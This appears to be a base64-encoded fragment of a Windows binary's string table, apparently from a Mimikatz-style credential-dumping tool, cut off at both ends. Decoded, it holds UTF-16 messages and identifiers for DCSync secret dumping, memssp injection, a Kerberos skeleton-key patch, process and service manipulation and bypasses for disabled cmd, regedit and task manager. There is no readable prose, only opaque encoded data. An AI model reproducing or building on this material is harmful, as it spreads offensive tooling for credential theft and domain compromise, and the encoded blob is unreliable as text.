AcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAUgBTAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzACwAIABpAG4AdgBhAGwAaQBkACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABhAG4AZAAvAG8AcgAgAGMATgB1AG0ATwBiAGoAZQBjAHQAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAABPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAABMAE8AQwBLAE8AVQBUAAAAUABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAAAAAABQAEEAUwBTAFcARABfAEMAQQBOAFQAXwBDAEgAQQBOAEcARQAAAAAAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbgB0AGwAbQAAAAAAbABtACAAIAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAAAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYwBtAGQAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAHIAZQBnAGUAZABpAHQAAAAAAAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHQAYQBzAGsAbQBnAHIAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAAAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAZABlAHQAbwB1AHIAcwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAAB3AGkAZgBpAAAAAABtAGUAbQBzAHMAcAAAAAAAcwBrAGUAbABlAHQAbwBuAAAAAABtAGkAcwBjAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAV2xhbkdldFByb2ZpbGVMaXN0AABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBkAGUAdABvAHUAcgBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAABjAG8AbgBuAGUAYwB0AGUAZAAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBuAGcAAAAAACAAKgAgAAAAIAAvACAAJQBzACAALQAgACUAcwAKAAAACQB8ACAAJQBzAAoAAAAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAGZvcGVuAAAAZndwcmludGYAAAAAZmNsb3NlAABsAHMAYQBzAHMALgBlAHgAZQAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAZwByAG8AdQBwAAAAbgBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQAQQBsAGkAYQBzAE0AZQBtAGIAZQByAHMAaABpAHAAIAAlADAAOAB4AAAAAAAKACAAfAC0ACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBSAGkAZABUAG8AUwBpAGQAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAAAAZABlAGIAdQBnAAAAQQBzAGsAIABkAGUAYgB1AGcAIABwAHIAaQB2AGkAbABlAGcAZQAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAcwB0AGEAcgB0AAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB1AHMAcABlAG4AZAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAHQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAJQB1AAkAJQB3AFoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAKAAkAJQBwACAALQA+ACAAJQB1AAAAAAAJACUAdQAAAAkAIAAAAAAACQAlAHAAAAAJACUAUwAAAAkALQA+ACAAJQBTAAAAAAAKAAkAJQBwACAALQA+ACAAJQBwAAkAJQBTACAAIQAgAAAAAAAlAFMAAAAAACMAJQB1AAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABwAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcwBoAHUAdABkAG8AdwBuAAAAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAUwBlAHIAdgBpAGMAZQAgAG0AbwBkAHUAbABlAAAAAAAlAHMAIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAABTAHQAbwBwAHAAaQBuAGcAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGUAcgB2AGkAYwBlAHMALgBlAHgAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAGUAcgByAG8AcgAgACUAdQAKAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAG